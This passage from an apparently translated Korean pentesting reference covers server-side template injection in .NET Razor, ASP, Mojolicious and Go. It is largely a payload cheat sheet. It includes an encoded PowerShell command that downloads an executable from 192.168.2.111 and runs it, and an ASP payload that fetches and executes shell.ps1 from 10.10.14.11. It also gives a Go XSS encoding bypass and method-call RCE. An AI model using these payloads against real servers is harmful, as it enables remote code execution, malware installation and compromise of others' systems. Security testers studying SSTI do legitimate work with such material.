  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start 메서드는 서버에서 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 https://github.com/cnotin/RazorVulnerableApp에서 확인할 수 있습니다.

더 많은 정보

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

추가 정보

Mojolicious (Perl)

비록 Perl이지만 Ruby의 ERB와 같은 태그를 사용합니다.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go의 템플릿 엔진에서 사용 확인은 특정 페이로드로 수행할 수 있습니다:

  • {{ . }}: 데이터 구조 입력을 드러냅니다. 예를 들어, Password 속성이 있는 객체가 전달되면, {{ .Password }}가 이를 노출할 수 있습니다.
  • {{printf "%s" "ssti" }}: 문자열 "ssti"를 표시할 것으로 예상됩니다.
  • {{html "ssti"}}, {{js "ssti"}}: 이 페이로드는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가 지침은 Go 문서에서 확인할 수 있습니다 여기.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template 패키지를 사용하면 페이로드를 직접 삽입하여 XSS를 간단하게 수행할 수 있습니다. 반면, html/template 패키지는 응답을 인코딩하여 이를 방지합니다 (예: {{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;로 결과가 나옵니다). 그럼에도 불구하고 Go에서 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE 취약점은 html/templatetext/template 간에 상당히 다릅니다. text/template 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, html/template에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 html/template에 대한 여기text/template에 대한 여기에서 확인할 수 있습니다.

Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 System 메서드가 있다면, {{ .System "ls" }}와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

더 많은 정보

더 많은 익스플로잇

더 많은 익스플로잇은 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection에서 확인하세요. 또한 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI에서 흥미로운 태그 정보를 찾을 수 있습니다.

BlackHat PDF

관련 도움말

유용할 것 같으면 읽어보세요:

도구

브루트포스 탐지 목록

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

연습 및 참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기